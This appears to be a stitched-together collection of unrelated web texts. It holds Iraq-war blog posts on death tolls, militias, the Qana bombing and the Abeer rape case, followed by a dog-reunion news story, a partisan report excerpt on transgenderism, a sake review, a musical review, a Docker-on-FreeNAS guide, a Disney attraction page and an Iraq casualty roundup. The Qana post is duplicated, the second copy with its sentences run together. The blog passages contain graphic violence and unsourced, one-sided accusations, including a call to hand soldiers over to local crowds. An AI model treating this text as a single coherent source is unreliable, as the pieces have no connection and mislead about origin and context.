The responses were typical- war supporters said the number was nonsense because, of course, who would want to admit that an action they so heartily supported led to the deaths of 600,000 people (even if they were just crazy Iraqis…)? Admitting a number like that would be the equivalent of admitting they had endorsed, say, a tsunami, or an earthquake with a magnitude of 9 on the Richter scale, or the occupation of a developing country by a ruthless superpower… oh wait- that one actually happened. Is the number really that preposterous? Thousands of Iraqis are dying every month- that is undeniable. And yes, they are dying as a direct result of the war and occupation (very few of them are actually dying of bliss, as war-supporters and Puppets would have you believe).
For American politicians and military personnel, playing dumb and talking about numbers of bodies in morgues and official statistics, etc, seems to be the latest tactic. But as any Iraqi knows, not every death is being reported. As for getting reliable numbers from the Ministry of Health or any other official Iraqi institution, that's about as probable as getting a coherent, grammatically correct sentence from George Bush- especially after the ministry was banned from giving out correct mortality numbers. So far, the only Iraqis I know pretending this number is outrageous are either out-of-touch Iraqis abroad who supported the war, or Iraqis inside of the country who are directly benefiting from the occupation ($) and likely living in the Green Zone.
The chaos and lack of proper facilities is resulting in people being buried without a trip to the morgue or the hospital. During American military attacks on cities like Samarra and Fallujah, victims were buried in their gardens or in mass graves in football fields. Or has that been forgotten already?
We literally do not know a single Iraqi family that has not seen the violent death of a first or second-degree relative these last three years. Abductions, militias, sectarian violence, revenge killings, assassinations, car-bombs, suicide bombers, American military strikes, Iraqi military raids, death squads, extremists, armed robberies, executions, detentions, secret prisons, torture, mysterious weapons – with so many different ways to die, is the number so far fetched?
There are Iraqi women who have not shed their black mourning robes since 2003 because each time the end of the proper mourning period comes around, some other relative dies and the countdown begins once again.
Let's pretend the 600,000+ number is all wrong and that the minimum is the correct number: nearly 400,000. Is that better? Prior to the war, the Bush administration kept claiming that Saddam killed 300,000 Iraqis over 24 years. After this latest report published in The Lancet, 300,000 is looking quite modest and tame. Congratulations Bush et al.
Everyone knows the 'official numbers' about Iraqi deaths as a direct result of the war and occupation are far less than reality (yes- even you war hawks know this, in your minuscule heart of hearts). This latest report is probably closer to the truth than anything that's been published yet. And what about American military deaths? When will someone do a study on the actual number of those? If the Bush administration is lying so vehemently about the number of dead Iraqis, one can only imagine the extent of lying about dead Americans…
Summer of Goodbyes...
Residents of Baghdad are systematically being pushed out of the city. Some families are waking up to find a Klashnikov bullet and a letter in an envelope with the words “Leave your area or else.” The culprits behind these attacks and threats are Sadr’s followers- Mahdi Army. It’s general knowledge, although no one dares say it out loud. In the last month we’ve had two different families staying with us in our house, after having to leave their neighborhoods due to death threats and attacks. It’s not just Sunnis- it’s Shia, Arabs, Kurds- most of the middle-class areas are being targeted by militias.
Other areas are being overrun by armed Islamists. The Americans have absolutely no control in these areas. Or maybe they simply don’t want to control the areas because when there’s a clash between Sadr’s militia and another militia in a residential neighborhood, they surround the area and watch things happen.
Since the beginning of July, the men in our area have been patrolling the streets. Some of them patrol the rooftops and others sit quietly by the homemade road blocks we have on the major roads leading into the area. You cannot in any way rely on Americans or the government. You can only hope your family and friends will remain alive- not safe, not secure- just alive. That’s good enough.
For me, June marked the first month I don’t dare leave the house without a hijab, or headscarf. I don’t wear a hijab usually, but it’s no longer possible to drive around Baghdad without one. It’s just not a good idea. (Take note that when I say ‘drive’ I actually mean ‘sit in the back seat of the car’- I haven’t driven for the longest time.) Going around bare-headed in a car or in the street also puts the family members with you in danger. You risk hearing something you don’t want to hear and then the father or the brother or cousin or uncle can’t just sit by and let it happen. I haven’t driven for the longest time. If you’re a female, you risk being attacked.
I look at my older clothes- the jeans and t-shirts and colorful skirts- and it’s like I’m studying a wardrobe from another country, another lifetime. There was a time, a couple of years ago, when you could more or less wear what you wanted if you weren’t going to a public place. If you were going to a friends or relatives house, you could wear trousers and a shirt, or jeans, something you wouldn’t ordinarily wear. We don’t do that anymore because there’s always that risk of getting stopped in the car and checked by one militia or another.
There are no laws that say we have to wear a hijab (yet), but there are the men in head-to-toe black and the turbans, the extremists and fanatics who were liberated by the occupation, and at some point, you tire of the defiance. You no longer want to be seen. I feel like the black or white scarf I fling haphazardly on my head as I walk out the door makes me invisible to a certain degree- it’s easier to blend in with the masses shrouded in black. If you’re a female, you don’t want the attention- you don’t want it from Iraqi police, you don’t want it from the black-clad militia man, you don’t want it from the American soldier. You don’t want to be noticed or seen.
I have nothing against the hijab, of course, as long as it is being worn by choice. Many of my relatives and friends wear a headscarf. Most of them began wearing it after the war. It started out as a way to avoid trouble and undue attention, and now they just keep it on because it makes no sense to take it off. What is happening to the country?
I realized how common it had become only in mid-July when M., a childhood friend, came to say goodbye before leaving the country. She walked into the house, complaining of the heat and the roads, her brother following closely behind. It took me to the end of the visit for the peculiarity of the situation to hit me. She was getting ready to leave before the sun set, and she picked up the beige headscarf folded neatly by her side. As she told me about one of her neighbors being shot, she opened up the scarf with a flourish, set it on her head like a pro, and pinned it snuggly under her chin with the precision of a seasoned hijab-wearer. All this without a mirror- like she had done it a hundred times over… Which would be fine, except that M. is Christian.
If M. can wear one quietly- so can I.
I’ve said goodbye this last month to more people than I can count. Some of the ‘goodbyes’ were hurried and furtive- the sort you say at night to the neighbor who got a death threat and is leaving at the break of dawn, quietly.
Some of the ‘goodbyes’ were emotional and long-drawn, to the relatives and friends who can no longer bear to live in a country coming apart at the seams.
Many of the ‘goodbyes’ were said stoically- almost casually- with a fake smile plastered on the face and the words, “See you soon”… Only to walk out the door and want to collapse with the burden of parting with yet another loved one.
During times like these I remember a speech Bush made in 2003: One of the big achievements he claimed was the return of jubilant ‘exiled’ Iraqis to their country after the fall of Saddam. I’d like to see some numbers about the Iraqis currently outside of the country you are occupying… Not to mention internally displaced Iraqis abandoning their homes and cities.
I sometimes wonder if we’ll ever know just how many hundreds of thousands of Iraqis left the country this bleak summer. I wonder how many of them will actually return. Where will they go? What will they do with themselves? Is it time to follow? Is it time to wash our hands of the country and try to find a stable life somewhere else?
Qana Massacre...
I woke up this morning to scenes of carnage and destruction on the television and for the briefest of moments, I thought it was footage of Iraq.
We saw the corpses of the children on television, lifeless and twisted grotesquely, what remained of their faces frozen in expressions of pain and shock. I just sat there and cried in front of the television. I didn’t know I could still feel that sort of sorrow towards what has become a daily reality for Iraqis. It’s not Iraq but it might as well be: It’s civilians under lethal attack; it’s a country fighting occupation.
I’m so frustrated I can’t think straight. I’m full of rage against Israel, the US, Britain, Iran and most of Europe. The world is going to go to hell for standing by and allowing the massacre of innocents. For God’s sake, 34 children??? The UN is beyond useless. They’ve gone from a union of nations working for the good of the world (if they ever were even that), to a bunch of gravediggers. They’re only good for digging mangled bodies out of the ruins of buildings and helping to identify and put them into mass graves. They won’t stop a massacre- they won’t even speak out against it- they’ll just come by and help clean up the mess. Are the lives of Arabs worth so little? If this had happened in the US or UK or France or China, somebody would already have dropped a nuclear bomb… How is this happening?
Where is the Security Council??? Why haven’t they stopped Israel? Ehud Olmert recently told Condi that he needs 10 to 14 more days of bloodshed- and nothing is being done about it! Where are the useless Arab leaders? Can’t the pro-American, spineless emirs crawl out of their gold palaces long enough to condemn this taking of lives? Our presidents/leaders are only as influential as their oil barrels are deep.
And the world wonders how ‘terrorists’ are created! A 15-year-old Lebanese girl lost five of her siblings and her parents and home in the Qana bombing… Ehud Olmert might as well kill her now because if he thinks she’s going to grow up with anything but hate in her heart towards him and everything he represents, then he’s delusional.
Is this whole debacle the fine line between terrorism and protecting ones nation? If it’s a militia, insurgent or military resistance- then it’s terrorism (unless of course the militia, insurgent(s) and/or resistance are being funded exclusively by the CIA). If it’s the Israeli, American or British army, then it’s a pre-emptive strike, or a ‘war on terror’. No matter the loss of hundreds of innocent lives. No matter the children who died last night- they’re only Arabs, after all, right?
Right? Although the sun is blinding this time of year in our part of the world, the Middle East is seeing some of its darkest days…I woke up this morning to scenes of carnage and destruction on the television and for the briefest of moments, I thought it was footage of Iraq. It took me a few seconds to realize it was actually Qana in Lebanon. The latest village to see Israeli air strikes. The images were beyond gruesome- body parts and corpses being hauled out from under tons of debris. Wailing relatives and friends, searching for loved ones… So far, according to humanitarian organizations, 34 were children. They killed them while they were sleeping inside their bomb shelters- much like the Amriya Shelter massacre in 1991.We saw the corpses of the children on television, lifeless and twisted grotesquely, what remained of their faces frozen in expressions of pain and shock. I just sat there and cried in front of the television. I didn’t know I could still feel that sort of sorrow towards what has become a daily reality for Iraqis. It’s not Iraq but it might as well be: It’s civilians under lethal attack; it’s a country fighting occupation.I’m so frustrated I can’t think straight. I’m full of rage against Israel, the US, Britain, Iran and most of Europe. The world is going to go to hell for standing by and allowing the massacre of innocents. For God’s sake, 34 children??? The UN is beyond useless. They’ve gone from a union of nations working for the good of the world (if they ever were even that), to a bunch of gravediggers. They’re only good for digging mangled bodies out of the ruins of buildings and helping to identify and put them into mass graves. They won’t stop a massacre- they won’t even speak out against it- they’ll just come by and help clean up the mess. Are the lives of Arabs worth so little? If this had happened in the US or UK or France or China, somebody would already have dropped a nuclear bomb… How is this happening?Where is the Security Council??? Why haven’t they stopped Israel? Ehud Olmert recently told Condi that he needs 10 to 14 more days of bloodshed- and nothing is being done about it! Where are the useless Arab leaders? Can’t the pro-American, spineless emirs crawl out of their gold palaces long enough to condemn this taking of lives? Our presidents/leaders are only as influential as their oil barrels are deep.And the world wonders how ‘terrorists’ are created! A 15-year-old Lebanese girl lost five of her siblings and her parents and home in the Qana bombing… Ehud Olmert might as well kill her now because if he thinks she’s going to grow up with anything but hate in her heart towards him and everything he represents, then he’s delusional.Is this whole debacle the fine line between terrorism and protecting ones nation? If it’s a militia, insurgent or military resistance- then it’s terrorism (unless of course the militia, insurgent(s) and/or resistance are being funded exclusively by the CIA). If it’s the Israeli, American or British army, then it’s a pre-emptive strike, or a ‘war on terror’. No matter the loss of hundreds of innocent lives. No matter the children who died last night- they’re only Arabs, after all, right?Right?
Atrocities...
The day before yesterday was catastrophic. The day began with news of the killings in Jihad Quarter. According to people who live there, black-clad militiamen drove in mid-morning and opened fire on people in the streets and even in houses. They began pulling people off the street and checking their ID cards to see if they had Sunni names or Shia names and then the Sunnis were driven away and killed. Some were executed right there in the area. The media is playing it down and claiming 37 dead but the people in the area say the number is nearer 60.
The horrific thing about the killings is that the area had been cut off for nearly two weeks by Ministry of Interior security forces and Americans. Last week, a car bomb was set off in front of a 'Sunni' mosque people in the area visit. The night before the massacre, a car bomb exploded in front of a Shia husseiniya in the same area. The next day was full of screaming and shooting and death for the people in the area. No one is quite sure why the Americans and the Ministry of Interior didn't respond immediately. They just sat by, on the outskirts of the area, and let the massacre happen.
At nearly 2 pm, we received some terrible news. We lost a good friend in the killings. T. was a 26-year-old civil engineer who worked with a group of friends in a consultancy bureau in Jadriya. The last time I saw him was a week ago. He had stopped by the house to tell us his sister was engaged and he'd brought along with him pictures of latest project he was working on- a half-collapsed school building outside of Baghdad.
He usually left the house at 7 am to avoid the morning traffic jams and the heat. Yesterday, he decided to stay at home because he'd promised his mother he would bring Abu Kamal by the house to fix the generator which had suddenly died on them the night before. His parents say that T. was making his way out of the area on foot when the attack occurred and he got two bullets to the head. His brother could only identify him by the blood-stained t-shirt he was wearing.
People are staying in their homes in the area and no one dares enter it so the wakes for the people who were massacred haven't begun yet. I haven't seen his family yet and I'm not sure I have the courage or the energy to give condolences. I feel like I've given the traditional words of condolences a thousand times these last few months, "Baqiya ib hayatkum… Akhir il ahzan…" or "May this be the last of your sorrows." Except they are empty words because even as we say them, we know that in today's Iraq any sorrow- no matter how great- will not be the last.
There was also an attack yesterday on Ghazaliya though we haven't heard what the casualties are. People are saying it's Sadr's militia, the Mahdi army, behind the killings. The news the world hears about Iraq and the situation in the country itself are wholly different. People are being driven out of their homes and areas by force and killed in the streets, and the Americans, Iranians and the Puppets talk of national conferences and progress.
It's like Baghdad is no longer one city, it's a dozen different smaller cities each infected with its own form of violence. It's gotten so that I dread sleeping because the morning always brings so much bad news. The television shows the images and the radio stations broadcast it. The newspapers show images of corpses and angry words jump out at you from their pages, "civil war… death… killing… bombing… rape…"
Rape. The latest of American atrocities. Though it's not really the latest- it's just the one that's being publicized the most. The poor girl Abeer was neither the first to be raped by American troops, nor will she be the last. The only reason this rape was brought to light and publicized is that her whole immediate family were killed along with her. Rape is a taboo subject in Iraq. Families don't report rapes here, they avenge them. We've been hearing whisperings about rapes in American-controlled prisons and during sieges of towns like Haditha and Samarra for the last three years. The naiveté of Americans who can't believe their 'heroes' are committing such atrocities is ridiculous. Who ever heard of an occupying army committing rape??? You raped the country, why not the people?
Fourteen. Imagine your 14-year-old sister or your 14-year-old daughter. Imagine her being gang-raped by a group of psychopaths and then the girl was killed and her body burned to cover up the rape. Finally, her parents and her five-year-old sister were also killed. Hail the American heroes... Raise your heads high supporters of the 'liberation' - your troops have made you proud today. I don't believe the troops should be tried in American courts. I believe they should be handed over to the people in the area and only then will justice be properly served. And our ass of a PM, Nouri Al-Maliki, is requesting an 'independent investigation', ensconced safely in his American guarded compound because it wasn't his daughter or sister who was raped, probably tortured and killed. His family is abroad safe from the hands of furious Iraqis and psychotic American troops.
It fills me with rage to hear about it and read about it. The pity I once had for foreign troops in Iraq is gone. It's been eradicated by the atrocities in Abu Ghraib, the deaths in Haditha and the latest news of rapes and killings. I look at them in their armored vehicles and to be honest- I can't bring myself to care whether they are 19 or 39. I can't bring myself to care if they make it back home alive. I can't bring myself to care anymore about the wife or parents or children they left behind. I can't bring myself to care because it's difficult to see beyond the horrors. I look at them and wonder just how many innocents they killed and how many more they'll kill before they go home. How many more young Iraqi girls will they rape?
Why don't the Americans just go home? They've done enough damage and we hear talk of how things will fall apart in Iraq if they 'cut and run', but the fact is that they aren't doing anything right now. How much worse can it get? People are being killed in the streets and in their own homes- what's being done about it? Nothing. It's convenient for them- Iraqis can kill each other and they can sit by and watch the bloodshed- unless they want to join in with murder and rape.
That all changed with a phone call on Feb 18.
The Voorhees Animal Orphanage , a no-kill shelter based in Camden County, called the dog's owner, Maria Gonzalez, to tell her that Rihanna had been located.
Sharla Floyd, the marketing and fundraising director for the shelter, said Rihanna was brought to the shelter by two men who found the dog on the front lawn of their Stratford Township home.
"They didn't want her to get hit by a car, so they brought her to us," Floyd said.
Once the dog was examined and calm, shelter workers scanned her for a microchip. Floyd said many pets are implanted with microchips that contain information about the animal, its home, family and other data that can be used if a pet is lost.
Initially, shelter workers noticed that the address on the chip came up as the Bronx - about 100 miles away from where the dog was found. They feared that the chip might be outdated, but figured at the very least, they would be able to find someone who could provide information on the current owners. To their surprise, when they contacted the Gonzalez family, they learned Rihanna had been stolen from them as a puppy, nearly three years earlier. The family had even sent out the pet equivalent of an Amber Alert in an effort to track her down. The shelter still doesn't know where Rihanna was for the past three years or how she ended up in New Jersey. They say she appears to be healthy.
Although Floyd said the family was "overjoyed" to learn that their long-long "puppy" was safe and sound, they couldn't afford to make the trip out to New Jersey to pick her up. Hearing this, two people from the shelter decided to step up and make sure Rihanna was reunited with her family.
"Two staff members volunteered to drive out there on their day off to bring her home," Floyd said.
Other staff members of the shelter heard about their plans and chipped in for gas and tolls. They even packed dog food and treats for Rihanna before the staffers headed to New York.
When staff members finally arrived at the Gonzalez home with Rihanna, the boxer immediately recognized the family she had been separated from since she was a puppy. An emotional video of the reunion shows Rihanna heading straight for her family, excitedly giving them kisses and enjoying the affection.
"It just goes to show how good the animal memory is. It was just incredible," Floyd said.
Floyd said members of the shelter are "overjoyed" that they were able to help facilitate the reunion. She said part of the shelter's job is to "build new lives" for the pets they take in and not every situation has a happy ending.
"This was so different, so crazy and so not the way stories like this tend to end," Floyd said. "For us, this underscores why we exist.”
My recent report, “Sex, Gender, and the Origin of the Culture Wars,” reveals the intellectual roots of today’s transgender movement so that citizens can defend common sense against the corruptions that this movement generates.
Transgenderism literally means “beyond gender.” It reflects the belief that society arbitrarily and unjustly “structures” gender, dividing people arbitrarily into men or women and presenting to all an acceptable way to behave.
The transgendered resolve to overcome society’s structures, pointing the way to a new society where individuals make or follow their own “gender.” Society, in turn, must become “post-structural” and affirm whatever new identity individuals construct for themselves.
The Feminist Origins of Transgenderism
The transgender movement originates in the radical feminist project begun after World War II. The founding mother of radical feminism is French thinker Simone de Beauvoir, whose book, “The Second Sex,” was published in America in 1953.
Beauvoir begins her book by asking, “What is a woman?” Her answer sets the stage for subsequent feminist thought: “One is not born, but rather becomes, a woman.” Society makes or constructs a woman’s identity, not nature or God.
That socially constructed identity would eventually be called “gender.” If society would just stop pigeonholing girls into artificial feminine roles, second-wave feminists argue, they would no longer act as if they were “the second sex” and subordinate to men.
>>> Read Scott Yenor’s full report, “Sex, Gender, and the Origin of the Culture Wars”
Sex, one’s biology and the closely linked psychological traits, should not shape one’s identity, according to these feminists. Sex or “biology is not destiny,” they say. Women must emancipate themselves from all limits presented by biology or society.
Transgenderism: The Latest Element in Feminism’s Rolling Revolution
Transgenderism is a branch with feminist roots. It seeks to undermine the “traditional socialization” of boys into men and girls into women because it denies the biological basis of manhood and womanhood.
But it was radical feminist Judith Butler who first established the formal link between transgenderism and feminism.
Long an advocate for “transgressing” what society conceives of as reality, Butler began defending drag and cross-dressing. Later she turned her attention to the varied possibilities in transgender lifestyles, which, she believes, would undo the predominant ideas of gender.
Bulter was impressed by how “queers” “struggle to rework the norms” and posit “a different future for the norm itself.”
Exposure to strange new performances “make us not only question what is real and what ‘must’ be,” she said, “but they also show us how the norms that govern contemporary notions of reality can be questioned and how new modes of reality can become instituted.”
Just as feminists hoped.
People who identify as transgender do not only wish to be tolerated. The public must come to affirm these gender performances as admirable, healthy, and authentic.
According to this view, a person’s identity is never fully real until it is endorsed by the public authorities and recognized as such by one’s fellow citizens.
Thus the need, as many news stories attest to, for schools to adapt their curriculum or change their bathroom policies to affirm transgender identities.
The distinctive characteristics of Dassai have given me so much to remember. The fruity aromas and well-balanced bold taste had been lingering in my mind. A craving for Dassai triggered my memory of the Dassai 39 I recently bought at the LCBO store. It was actually kept in my fridge. I believed the best way to consume it was with a few friends. Then an idea came to my mind. I wanted to have a sweet pairing for it – drank the Dassai 39 with the dried mango slices. I have a friend who likes to dry mangoes at home, and she is glad to try out various types of sake. Alright! She could be one of my tasting partners. Other friends whom I invited to taste Dassai 39 together were a couple living in a country estate. Their home was used as the venue for the private sake tasting party. The Dassai 39 and the dried mango slices were brought to the house.
Dassai 39 is the second best quality of “Junami Daiginjo” in the “Dassai” family. Its name, “Dassai 39”, indicates that the “Yamada Nishiki” rice is milled down to 39%. Since Dassai is famous for its superb fruity fragrance, I think the best way to trap the aromas for a longer time is using the wine glass. For this reason, I undoubtedly chose a red wine glass as my sake service vessel at the tasting party. After the sake bottle had been opened, I poured my Dassai 39 into the glass. The drink was clear and colourless in appearance, with alcohol level at 16%. The fresh scent quickly wafted into my nostrils, which was like a spring breeze. On my first sip, I tasted a splash of sweetness with lychee, peach and honey flavours spread through my palate. The rice flavour was very subtle. Although the mixed fruit flavour was a little stronger than that in Dassai 50, I could say the taste of Dassai 39 was fruity-yet-dry. This sake had a mild acidity, and it would be appreciated by any drinker because it was very smooth, well-balanced and easy to drink. The after taste was long and refreshing.
The house owner and his wife are wine lovers, but they have never been big fans of Japanese sake until that night. Why? Because they almost fell in love with Dassai 39 after first few sips. I was really surprised yet delighted by their responses, taking the fact that it was their first time to drink Dassai. There was a funny thought went through my mind at the tasting party that Dassai 39 was like a wizard who had magical power to twist people’s taste!
The homemade dried mango slices brought over by my friend were made with fresh mangoes. After the skin was peeled off, the mango was cut into slices. Then they were placed into the dehydrator to be cooked for 11 hours. I liked the dried mango’s chewy firm texture and sweetness. Its fruity aroma paired well with my Dassai 39 as it enhanced the sake’s distinguished characteristics. The pair was a good example to show how sake and food complement each other. I felt like I was a “matchmaker” who had found a good wife for Sake, and I was glad that my prediction was right!
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This is an energetic musical with young talent and carries a relevant and provocative story in need of telling.
Green Card brings new talent to the stage, including leads Garett Taketa as Han and Daniela Benitez as Mia. Much of the cast and crew–including Benitez–is foreign born and without green cards. Benitez explained how difficult it was to land parts without a green card, recounting her frustrations with the anxieties and uncertainties her immigration status caused. But Benitez is a standout talent in this musical, with a great singing voice and ability to dive into the attitude befitting the wild, yet sweet Mia. It is always refreshing to see actors and actresses at the start of their careers bringing innovative and little told stories to the stage.
The other actress I want to call out is Myoungjin Choi, the understudy for Cathy, a South Korean deli owner and friend to Han. Though Cathy is normally played by Julia Lim, Choi had great comedic timing. It was in a fun-filled scene with Cathy, Han, and Mia, bellowing karaoke together in her empty deli where the cast’s chemistry truly shined. At other times, relationships felt less believable, the acting slightly forced, but here was a moment that felt real (or as real as a theatrical moment can).
A few dances, in particular those involving Han’s girlfriend Kim (played by Yonji Ham) seemed pulled out of a Girls Generation video, not the usual fare, and a bit jarring to me, but I can imagine the appeal to certain audiences (this show pulled in more Asian and Asian American audience members than I’m used to). Whether intentional or not, Kim is a rather unsympathetic character, making the drama of this potential love triangle less evocative and dramatic than I initially expected.
This is a musical chock full of ensemble numbers (and members), minor story lines, and heavily choreographed dance numbers. At times, it was overwhelming, jumping rapidly from place to place. Scenes involving the immigration officer, Mia’s criminal ex-boyfriend, Kim, and her roommate Paul were funny and dramatic, but they distracted some from what I felt was the show’s heart–the burgeoning relationship between Han and Mia. Theirs is a story which begins in an alley way, becomes the business of a fake marriage for Han’s green card with monetary strings, and then later, a real friendship. Following their growth proved the most compelling and rewarding aspect of the musical.
This is the second musical written and directed by Dimo Kim, born in South Korea. Comfort Women: A New Musical was, according to him, the first Off-Broadway musical to have an all-Asian cast and be directed by an East Asian national. Green Card brings another predominantly Asian and Asian American cast to the stage. In a great write-up on the show by NBC News, Kim says that he created his own theater company to do just that–bring more Asian and Asian Americans to the stage. And that Green Card is based on the story of his roommate, a South Korean who moved to New York to make it as an actor, only to be repeatedly rejected, or accepted until it came out that he only had a student visa and not a green card. His roommate later committed suicide after a fake marriage plan fell apart.
Andrey Cherkashin Blocked Unblock Follow Following Aug 28, 2017
This is a simple write-up to setup Docker on FreeNAS 11 or FreeBSD 11.
But muh jails?
You know that jails are dope and you know that jails are dope, yet no one else knows it. So here we are stuck with docker. Two years ago I would be the last person to recommend using docker, but a whole lot of things has changes past years…
So jails are dead then?
No, jails are still dope, but jails lack tools to manage them. Yes, there are a few tools, but they meant for hard-core FreeBSD users who used to suffering. Docker allows you to run applications without deep knowledge of application you’re running. It will also allow you to run applications that are not ported to FreeBSD.
Prerequisites
All you need is terminal with root access via sudo.
(Optional) FreeNAS setup
You might think that VM tab in FreeNAS 11 is your friend… Well, it’s not. It’s only your friend when your guest can boot on UEFI system. This feature is not complete in FreeNAS…yet…
Enter BHyve
In case you don’t know FreeBSD now has its own hypervisor and it even can run Windows! No joke. Just like anything else in FreeBSD it’s more of a framework rather than a complete product. Likely someone built tools to simplify it — iohyve and chyves. This guide will follow iohyve way because I forgot about chyves and whole drama around this.
iohyve vs chyves
tl;dr chyves is a fork of iohyve because the author of iohyve sometimes is hard to work with. If your goal is to run docker you don’t care about the iohyve issues. if you choose to use chyves, then translate commands to chyves, it ain’t hard.
(Optional) Setup iohyve
If you’ve never used iohyve before do this:
iohyve setup pool=zpool kmod=1 net=em0
Where zpool is your pool name and em0 your network card. This will create iohyve zfs dataset.
Install docker host OS
There are many variants you can choose from — RancherOS, CoreOS are the most popular for docker-only hosts. We going to use RancherOS because it’s more lightweight of the box.
Download installer
Navigate to RancherOS website and grab link to latest. Right now it’s v1.0.4 — Docker 17.03.1-ce — Linux 4.9.40
sudo iohyve fetch https://releases.rancher.com/os/latest/rancheros.iso
sudo iohyve renameiso rancheros.iso rancheros-v1.0.4.iso
Create VM
Before you create host you going to need to install sysutils/grub2-bhyve port. As usual, you can do it with pkg install grub2-bhyve
sudo iohyve create rancher 32G # Substitute 32 with whatever you want.
# You can always add more storage later.
sudo iohyve set rancher loader=grub-bhyve ram=8G cpu=8 con=nmdm0 os=debian
# Again, change ram and cpu values if you need to.
sudo iohyve install rancher rancheros-v1.0.4.iso
In a separate terminal:
sudo iohyve console rancher
# to exit console type ~~. really quick.
# now you going to see grub console. Hit enter once if you don't believe me.
set root=(cd0,msdos1)
linux /boot/vmlinuz* ro rancher.password=rancher
initrd /boot/initrd*
boot
# Wait for OS to boot.
# Password to rancher user is rancher in case you don't read what you pasting into things ran as root.
Create cloud-config.yml
#cloud-config
ssh_authorized_keys:
- ssh-rsa YOUR-SSH-KEY
#/var/lib/rancher/conf/cloud-config.d/netconfig-config.yml
rancher:
network:
interfaces:
eth0:
addresses:
gateway: 192.168.86.1
dhcp: false
dns:
nameservers:
Change eth0 settings to what’s suits you.
sudo ros config validate -i cloud-config.yml
# should show no errors
sudo ros install -c cloud-config.yml -d /dev/sda
Installer will ask you if you want to reboot — say yes. It won’t reboot…
Back to FreeBSD
Create file /mnt/iohyve/rancher/grub.cfg :
set root=(hd0,1)
linux /boot/vmlinuz* printk.devkmsg=on rancher.state.dev=LABEL=RANCHER_STATE rancher.state.wait console=tty0 ro rancher.password=<YOUR PASSWORD OF CHOICE>
initrd /boot/initrd*
boot
Run this on your host (FreeBSD):
sudo iohyve set rancher os=custom
sudo iohyve set rancher boot=1
sudo iohyve start rancher
After some time you should be able to ssh into the machine. Add those to /etc/rc.conf :
ng_ther_load = YES
iohyve_flags = kmod=1 net=em0
iohyve_enable = YES
(Optional) Install Portainer
Whole point of this guide is to reduce pain, and using docker CLI is still painful. There are a lot of Web UI to control docker. Most of them include a lot of orchestrating services, so it’s just overkill. Portainer is very lightweight and can be run even on Raspberry Pi.
Create /var/lib/rancher/conf/cloud-config.d/portainer.yml :
#/var/lib/rancher/conf/cloud-config.d/portainer.yml
rancher:
services:
portainer:
image: portainer/portainer
container_name: "portainer"
environment:
PGID: '1101'
PUID: '1101'
labels:
io.rancher.os.after: console, preload-user-images
privileged: true
restart: always
ports:
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- /mnt/config/portainer:/data
After reboot you will be able to access WebUI on 9000 port. Setup is very easy, so I won’t go over it.
(Optional) Enable Remote API
FreeBSD can’t host containers itself, but it can manipulate remote docker hosts. Install sysutils/docker and follow this instructions.
(Optional) Enable TLS-Less Remote API
No.
(Optional) Enable NFS
Don’t. It might look like a good idea, but it isn’t. Proper way would be the way FreeNAS Coral does it: p9
(Optional) Set timezone in container
The Magic of Disney Animation - closed
Opened: November 2003 - 2015
Overview/History:
There are a lot of things to see in this building, including a tour of Disney animation.
The Magic of Disney Animation tour begins in a cozy theater where a Disney Animator brings Mushu, the mischievous dragon from Mulan, to the screen. While the animators are often a bit awkward in their role as host, Mushu makes it fun. It's a cute and informative presentation that all ages can enjoy.
Once this brief introduction to the animation process is over, you'll go into the next section where there's a selection of interactive displays that you're welcome to "play" with. There is also a character meet and greet area. Characters vary depending on the day, but you can often find Sorcerer Mickey, Mr & Mrs. Incredible, and Frozone.
Minnie Mouse has her own meet and greet area in the Animation building. She can be found there daily, just check the Times Guide to see her schedule. Make sure to look around the area, as it is full of details that pay homage to important dates, attractions and Imagineers.
Characters from Big Hero 6 meet and greet!
This animated film from Walt Disney Animation Studios is an "action-packed comedy-adventure about robotics prodigy Hiro Hamada, who's catapulted into the midst of a dangerous plot and must transform his closest companion - a robot named Baymax - and a diverse group of friends into a band of high-tech heroes."
Hiro and Baymax are now greeting guests in the Magic of Disney Animation building.
There is a station where you can become the voice of a Disney character by either singing or acting your part.
There's another display where you're quizzed to find out which Disney character you're most like.
If you're feeling artistic, you can "paint" your choice of a Disney character.
For the ultimate animation experience, be sure to visit the Animation Academy. This unique experience allows you to sit in on a class hosted by a Disney Animator and learn how to draw a character. Classes start at 10:30 and are held every half hour. Classes are held until park closing and are generally less busy later in the day.
Tip: The instructor gives away the character that he draws during the class, normally to children, but don't be afraid to ask him for it! This is a rare example of a free Disney souvenir!
When you're ready to leave, you'll pass through a display area which highlights different Disney achievements in animation. The gift shop in this building features cells and collectible art.
Fastpass: No
Handicapped Accessibility: This attraction is wheelchair/ECV accessible and Assistive Listening Devices may be used. Reflective captioning is available.
The Magic of Disney Animation Reviews from DIS members: kramer222 - "The show they make you sit through is a little boring (Mushu? Really?) but once you get into the attraction there is a lot to explore. One of the best experiences is the character drawing class. My wife and I had a blast drawing and then comparing our Donald Ducks. Also, seemed like a good place to visit characters."
- "The show they make you sit through is a little boring (Mushu? Really?) but once you get into the attraction there is a lot to explore. One of the best experiences is the character drawing class. My wife and I had a blast drawing and then comparing our Donald Ducks. Also, seemed like a good place to visit characters." DeVineMom - "Cool and comfortable theater. The introduction with the CM talking to Mushu the animated dragon (voiced by Eddie Murphy) was cute. Then you go into another area with some hands on displays that are really fairly boring. There are some characters in this area for a meet and greet and the lines were pretty short."
More Magic of Disney Animation Reviews
At least 48 Iraqis were killed and 70 more were wounded in the latest violence. Clashes continue in Sadr City, while bombings killed and injured many in Baghdad. One British soldier was injured. Also, Abu Ayyub al-Masri, leader of the Iraqi branch of al-Qaeda, may have been captured in Mosul.
A British soldier was injured during a rocket attack at the Basra International Airport; two, possibly foreign, civilians were killed. A vicious clash broke out nearby, in Zubair. There are no reports of casualties yet, but many rockets were fired at a National Police base. Also, 48 people were arrested during raids.
In Baghdad, a car bomb in Mansour killed seven people, including policemen, and wounded 19 others. Three people were killed and six were wounded during a Katyusha rocket attack on Sadoun Street, near the al-Nasr Cinema. Three people were wounded during a roadside bombing near the National Theater. In Zayouna, a roadside bomb left one dead and five wounded. A roadside bomb injured five Iraqi soldiers near Shabb Stadium. Seven people were injured near a mosque in the Jihad neighborhood. Four unidentified bodies were found. The body of a policeman was discovered in Abu Dsheer. Also, a Katyusha rocket landed in the Green Zone, but no casualties were reported.
Seven people were killed and 20 were wounded during overnight clashes in Sadr City. U.S. forces killed 17 suspects in Baghdad and Sadr City. MNF forces, on Iraqi Cabinet orders, shut down a radio station loyal to the al-Sadr political bloc.
A suicide bomber in Dhuluiya wounded four people, including the police chief and three security guards. An Awakening Council (Sahwa) leader was killed.
